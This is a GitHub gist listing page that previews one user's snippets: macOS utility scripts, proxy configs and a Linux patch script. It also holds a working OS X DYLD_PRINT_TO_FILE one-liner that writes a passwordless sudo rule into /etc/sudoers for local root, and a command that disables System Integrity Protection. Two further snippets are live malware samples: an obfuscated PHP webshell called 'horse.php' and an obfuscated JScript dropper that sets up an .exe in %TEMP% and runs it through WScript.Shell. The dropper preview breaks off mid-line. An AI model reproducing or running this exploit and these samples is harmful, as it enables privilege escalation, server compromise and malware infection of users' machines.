Skip to content

Instantly share code, notes, and snippets.

View Leask's full-sized avatar
🏠
Working from home

Sixia "Leask" Huang Leask

🏠
Working from home
View GitHub Profile
@Leask
Leask / ox_dyld_privilege_escalation.sh
Created July 23, 2015 05:44
OS X 10.10 DYLD_PRINT_TO_FILE Local Privilege Escalation Vulnerability
python -c '"import os; os.write(3,\"ALL ALL=(ALL) NOPASSWORD: ALL\")"'|DYLD_PRINT_TO_FILE=/etc/sudoers newgrp;sudo su
@Leask
Leask / disrootless.sh
Last active August 29, 2015 14:26
Disabled rootless.
sudo nvram boot-args="kext-dev-mode=1 rootless 0";sleep 1;sudo reboot
# sudo csrutil disable
@Leask
Leask / rootless.sh
Created August 8, 2015 03:45
Report and change rootless status.
#!/bin/bash
ME=`basename $0`
IS=$(nvram boot-args | awk '{ print $2 }' | grep rootless | cut -d= -f2)
if [ $# -lt 1 ]; then
if [ "$IS" == "1" ]; then
echo "Rootless mode currently active. Use $ME 0 to deactivate."
else
echo "rootless mode currently inactive. Use $ME 1 to activate."
fi
exit
@Leask
Leask / linuxium-z3735f-patch.sh
Created September 24, 2015 05:10
Linuxium's installation script for upgrading Ubuntu with Canonical's Z3735F customizations
#!/bin/sh
# Linuxium's installation script for upgrading Ubuntu with Canonical's Z3735F customizations
if [ -d /target ]; then
echo "$0: Do not run this script from a LiveCD ... exiting."
exit
fi
DEFAULT_GATEWAY=`ip r | grep default | cut -d ' ' -f 3`
[General]
loglevel = notify
[Proxy]
Proxy = shadowsocks, 1.2.3.4, 443, rc4-md5, password
[Rule]
DOMAIN-SUFFIX,appldnld.apple.com,DIRECT
DOMAIN-SUFFIX,adcdownload.apple.com,DIRECT
DOMAIN-SUFFIX,swcdn.apple.com,DIRECT
[General]
loglevel = notify
[Proxy]
Proxy = custom, 1.2.3.4, 443, rc4-md5, password, http://surge.run/SSEncrypt.module
[Rule]
DOMAIN-KEYWORD,google,Proxy,tcp-force
DOMAIN-KEYWORD,facebook,Proxy,tcp-force
DOMAIN-KEYWORD,youtube,Proxy,tcp-force
@Leask
Leask / delConfdirLoop.sh
Created October 8, 2015 08:48
Handle "confdir-14B---/confdir-14B---" looping problem.
while true
do
mv confdir-14B---/confdir-14B--- a
if [[ $? -ne 0 ]]
then
break
fi
rm -rf confdir-14B---
mv a confdir-14B---
done
@Leask
Leask / horse.php
Created October 15, 2015 07:29
传说中一匹PHP🐎
<?php
function fo($gqewea, $mse) {
$wsjkoogm = '';
for ($i=0; $i < strlen($gqewea); $i++) {
$wsjkoogm .= isset($mse[$gqewea[$i]]) ? $mse[$gqewea[$i]] : $gqewea[$i];
}
$qbhalkrox="base64_decode";return $qbhalkrox($wsjkoogm);}
$yogbpoq = 'IMAL9BXfkNIZErBhSVXhNr3WkhSC7TbBtTa2Ja2p9Rb2NgmAeKzj'.
'DMXjNrBhSVXhShSC7wp2Ja2p9Rb2NgmAeKzjDRsQNrBQkRmxeMAWDAXH9RxAEhazFK4yK46fkNv'.
@Leask
Leask / spotlight_reindex.sh
Created February 16, 2016 09:43
Reset Spotlight index.
# Index off
sudo mdutil -i off /
# Delete index
sudo mdutil -E /
# Index on
sudo mdutil -i on /
@Leask
Leask / MHB5520964707.js
Created March 10, 2016 11:44
估计不是好东西
//function( tag, context ) { var elem, tmp = [], i = 0, By happy coincidence, a (broken) gEBTN appears on DocumentFragment nodes too results = context.getElementsByTagName( tag );
var xwXVPgE = ["Cx"+"p"+("macaroni","acquisition","reform","qm")+"qn", ("clocks","dragon","Q")+("simultaneously","laughable","dampness","fellow","Qp")+("misshapen","meeting","reinforcement","bFmqXL")+"SF", "Expa"+"nd"+("heinz","soundtrack","assist","E")+("bootless","swims","promotion","nv")+("criticize","engraving","guido","precious","iro")+"n"+"m"+"ent"+"Str"+"in"+"gs", "%"+("excellence","cadaverous","adherent","voluptuous","T")+"EM"+"P%", "/aKxPRceK" + "."+("whenever","flesh","example","hanging","e")+"xe", "R"+("chemist","isolate","un"), "A"+"ct"+("garage","weaver","significantly","poniard","i")+"veX"+("mirror","letting","Ob")+("carbonic","theorist","debian","informer","j")+"e"+"ct", "W"+("bahamas","domino","carey","Sc")+"r"+"ipt."+"Sh"+("ketch","config","athens","e")+"ll", ("alerts","adorable","bible","carey",